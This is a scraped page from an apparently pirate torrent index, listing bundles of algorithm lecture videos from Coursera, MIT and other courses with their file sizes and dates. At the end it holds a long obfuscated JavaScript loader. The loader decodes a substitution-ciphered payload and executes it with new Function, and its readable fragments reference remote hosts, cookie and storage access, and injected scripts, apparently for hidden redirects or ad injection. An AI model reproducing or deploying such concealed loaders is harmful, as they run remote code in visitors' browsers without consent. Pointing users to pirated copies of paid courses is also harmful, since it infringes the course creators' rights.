Showing 1-20 of 415 items.
mp4 Java Algorithms
Hot:596 Size:1.7 GB Created:2017-08-26 04:48:44 File Count:17
Java Hash Tables 3.mp4 141.69 MB
Java Quick Sort.mp4 141.21 MB
Solving Programming Problems 2.mp4 132.9 MB
Linked List in Java.mp4 128.52 MB
Linked List in Java 2.mp4 123.76 MB
mp4 Coursera - Algorithms
Hot:1460 Size:3.3 GB Created:2017-08-29 02:13:18 File Count:199
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.4 Negative Weights (2101).mp4 27.84 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.0 Shortest Paths APIs (1051).mp4 27.71 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.3 Edge-Weighted DAGs (1923).mp4 26.49 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.2 Dijkstra's Algorithm (1858).mp4 51.4 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.1 Shortest Path Properties (1446).mp4 33.94 MB
mp4 Algorithms - IITB
Hot:35 Size:8.27 GB Created:2017-08-30 16:19:18 File Count:34
lec13-Greedy Algorithms IV.mp4 169.56 MB
lec31-NP Completeness VI.mp4 191.98 MB
lec30-NP Completeness V.mp4 192.3 MB
lec15-Pattern Matching II.mp4 207.76 MB
lec05-Algorithm design techniques- Basic.mp4 218.74 MB
flv Algorithms 2
Hot:120 Size:6.83 GB Created:2017-08-27 13:58:19 File Count:12
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_5_metadata.flv 733.24 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_lektsiya_1_metadata.flv 726.97 MB
Seminars/CSCenter_Algoritmi_i_strukturi_dannih_2_semestr_seminar_k_lekzii_2_chast_1_metadata.flv 658.59 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_4_metadata.flv 638.92 MB
Lectures/CSCenter_Algoritmyi_i_strukturyi_dannyih_2_semestr_lekziya_3_metadata.flv 638.4 MB
mp4 Algorithms on Strings
Hot:8 Size:377.85 MB Created:2022-03-21 23:38:09 File Count:124
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.en.srt 6.67 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.en.txt 4.12 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/01_welcome.mp4 8.92 MB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/02_from-genome-sequencing-to-pattern-matching.en.srt 9.91 KB
01_suffix-trees/01_from-genome-sequencing-to-pattern-matching/02_from-genome-sequencing-to-pattern-matching.en.txt 6.16 KB
mp4 Java Algorithms
Hot:83 Size:1.7 GB Created:2022-04-14 11:23:00 File Count:17
Java Hash Tables 3.mp4 141.69 MB
Java Quick Sort.mp4 141.21 MB
Solving Programming Problems 2.mp4 132.9 MB
Linked List in Java.mp4 128.52 MB
Linked List in Java 2.mp4 123.76 MB
mp4 Coursera - Algorithms
Hot:704 Size:3.3 GB Created:2022-04-20 09:08:23 File Count:199
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.4 Negative Weights (2101).mp4 27.84 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.0 Shortest Paths APIs (1051).mp4 27.71 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.3 Edge-Weighted DAGs (1923).mp4 26.49 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.2 Dijkstra's Algorithm (1858).mp4 51.4 MB
Coursera - Algorithms Part 2 by Kevin Wayne/Lectures Part 2/week2/02-shortest-paths/Algorithms Part II 4.1 Shortest Path Properties (1446).mp4 33.94 MB
mp4 Thinking in Algorithms
Hot:41 Size:1.42 GB Created:2023-03-17 23:47:02 File Count:12
lesson11.mp4 294.39 MB
lesson2.mp4 64.07 MB
lesson3.mp4 124.11 MB
lesson4.mp4 184.58 MB
lesson5.mp4 159.77 MB
mp4 Working with Algorithms in Python
Hot:1046 Size:4.53 GB Created:2017-08-28 14:44:37 File Count:23
04. Brute Force Algorithms/01. Brute Force An Algorithm for Solving Combinatoric Problems.mp4 411.79 MB
02. O (n log n) Behavior/01. MergeSort A Divide and Conquer Algorithm.mp4 406.21 MB
07. AllPairsShortestPath/01. Graph Algorithms All Pairs Shortest Path.mp4 364.04 MB
01. BinarySearch/04. An Informal Introduction to the Analysis of Algorithms.mp4 359.34 MB
05. K-Dimensional Trees/01. KD Trees Efficient Processing of Two-Dimensional Datasets Part 1.mp4 346.47 MB
mp4 Algorithms Part I
Hot:668 Size:1.13 GB Created:2017-08-27 01:14:30 File Count:131
Week 5 Geometric Applications of BSTs/11 - 3 - Kd-Trees (2907).mp4 53.76 MB
8-Puzzle Programming Assignment.pdf 255.64 KB
Addison.Wesley.Algorithms.4th.Edition.Feb.2011.pdf 23.87 MB
COS 226 Programming Assignment 5_ Kd-Trees.pdf 258.8 KB
Introduction/1 - 1 - Course Introduction (922).mp4 16.34 MB
mp4 [MIT] Introduction to algorithms
Hot:1209 Size:3.69 GB Created:2017-08-31 07:50:32 File Count:74
1-01 Lecture 01 Analysis of Algorithms, Insertion Sort, Mergesort.mp4 166.9 MB
1-02 Lecture 02 Asymptotic Notation, Recurrences, Substitution, Master Method.mp4 145.73 MB
1-03 Lecture 03 Divide-and-Conquer. Strassen, Fibonacci, Polynomial Multiplication.mp4 143.19 MB
1-04 Lecture 04 Quicksort, Randomized Algorithms.mp4 167.69 MB
1-05 Lecture 05 Linear-time Sorting. Lower Bounds, Counting Sort, Radix Sort.mp4 160.61 MB
mp4 [Coursera] Algorithms I
Hot:904 Size:2.19 GB Created:2017-09-01 15:49:08 File Count:184
31 - 1 - Kd-Trees (29_07).mp4 53.76 MB
11 - 3 - Kd-Trees (29_07).mp4 53.76 MB
15 - 1 - Red-Black BSTs (35_30).mp4 52.69 MB
10 - 2 - Red-Black BSTs (35_30).mp4 52.69 MB
40 - 1 - Event-Driven Simulation (22_38) (optional).mp4 38.57 MB
flv Data Structures and Algorithms
Hot:88 Size:3.38 GB Created:2017-08-28 20:31:29 File Count:36
Lectures/Lecture - 36 Single Source Shortest Paths.flv 189.35 MB
Lectures/Lecture - 31 Minimum Spanning Trees.flv 187.57 MB
Lectures/Lecture - 33 Prims Algorithm for Minimum Spanning Trees.flv 167.56 MB
Lectures/Lecture - 35 Correctness of Dijkstras Algorithm.flv 165.13 MB
Lectures/Lecture - 32 The Union.flv 160.88 MB
mp4 [Coursera] Algorithms II
Hot:595 Size:1.45 GB Created:2017-09-03 14:13:01 File Count:133
9 - 3 - Knuth-Morris-Pratt (33_14).mp4 45.04 MB
4 - 5 - Prim's Algorithm (33_15).mp4 42.28 MB
8 - 1 - R-way Tries (32_19).mp4 40.89 MB
11 - 4 - LZW Compression (27_33).mp4 37.15 MB
2 - 3 - Depth-First Search (26_22).mp4 36.97 MB
mp4 Algorithms in Motion (2018)
Hot:433 Size:4.07 GB Created:2021-06-19 01:25:13 File Count:38
Unit 01 - INTRODUCTION TO ALGORITHMS/03. Big O Notation.mp4 249.72 MB
Unit 01 - INTRODUCTION TO ALGORITHMS/01. Introduction.mp4 148.63 MB
Unit 01 - INTRODUCTION TO ALGORITHMS/02. Binary Search.mp4 86.3 MB
algorithms-in-motion-master.zip 28.83 KB
Unit 02 - SELECTION SORT/01. Arrays and Linked Lists.mp4 213.74 MB
mp4 [Coursera] Algorithms II
Hot:37 Size:1.45 GB Created:2022-06-07 21:08:06 File Count:133
9 - 3 - Knuth-Morris-Pratt (33_14).mp4 45.04 MB
4 - 5 - Prim's Algorithm (33_15).mp4 42.28 MB
8 - 1 - R-way Tries (32_19).mp4 40.89 MB
11 - 4 - LZW Compression (27_33).mp4 37.15 MB
2 - 3 - Depth-First Search (26_22).mp4 36.97 MB
flv Data Structures and Algorithms
Hot:6 Size:3.38 GB Created:2024-07-19 06:58:13 File Count:36
Lectures/Lecture - 36 Single Source Shortest Paths.flv 189.35 MB
Lectures/Lecture - 31 Minimum Spanning Trees.flv 187.57 MB
Lectures/Lecture - 33 Prims Algorithm for Minimum Spanning Trees.flv 167.56 MB
Lectures/Lecture - 35 Correctness of Dijkstras Algorithm.flv 165.13 MB
Lectures/Lecture - 32 The Union.flv 160.88 MB
mp4 [MIT] Introduction to algorithms
Hot:18 Size:3.69 GB Created:2022-04-17 21:56:09 File Count:74
1-01 Lecture 01 Analysis of Algorithms, Insertion Sort, Mergesort.mp4 166.9 MB
1-02 Lecture 02 Asymptotic Notation, Recurrences, Substitution, Master Method.mp4 145.73 MB
1-03 Lecture 03 Divide-and-Conquer. Strassen, Fibonacci, Polynomial Multiplication.mp4 143.19 MB
1-04 Lecture 04 Quicksort, Randomized Algorithms.mp4 167.69 MB
1-05 Lecture 05 Linear-time Sorting. Lower Bounds, Counting Sort, Radix Sort.mp4 160.61 MB
mp4 [Coursera] Algorithms I
Hot:51 Size:2.19 GB Created:2022-05-28 17:14:59 File Count:184
31 - 1 - Kd-Trees (29_07).mp4 53.76 MB
11 - 3 - Kd-Trees (29_07).mp4 53.76 MB
15 - 1 - Red-Black BSTs (35_30).mp4 52.69 MB
10 - 2 - Red-Black BSTs (35_30).mp4 52.69 MB
40 - 1 - Event-Driven Simulation (22_38) (optional).mp4 38.57 MB
Statistics
- All415个
- mp4360个
- mkv29个
- flv10个
- wmv8个
- avi5个
- 1个
- mpeg1个
- rmvb1个
!function(){function a(a){var _idx="mngpsr15np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CF75FTmOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFfY5Fm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFSOJTmOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFLY_6mOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFRDYJm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@@{CFdDqJmOCS^FX^mRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@@{jR8^2pJL5}n2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@@{"=X8"^2pJL5}n2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@@{d2(LCYmDXT((XOmRT4"="@@{5p(LYpm_d)6C)TmRT4"="@@{D7(LSqmDXT((XOmRT4"="@@{dC(LJ^m_d)6C)TmRT4"="@@{(C(L:4mDXT((XOmRT4"="@@{C2(LSYm_d)6C)TmRT4"="@@{25(LLSmDXT((XOmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@@{2F(LCYmCRDJ6_hmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@@{2F(LCYmCRDJ6_hmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n/f/@@{j(8}vR8^2pJL5}n2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@@{CFT_T_mOYFO^(fmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();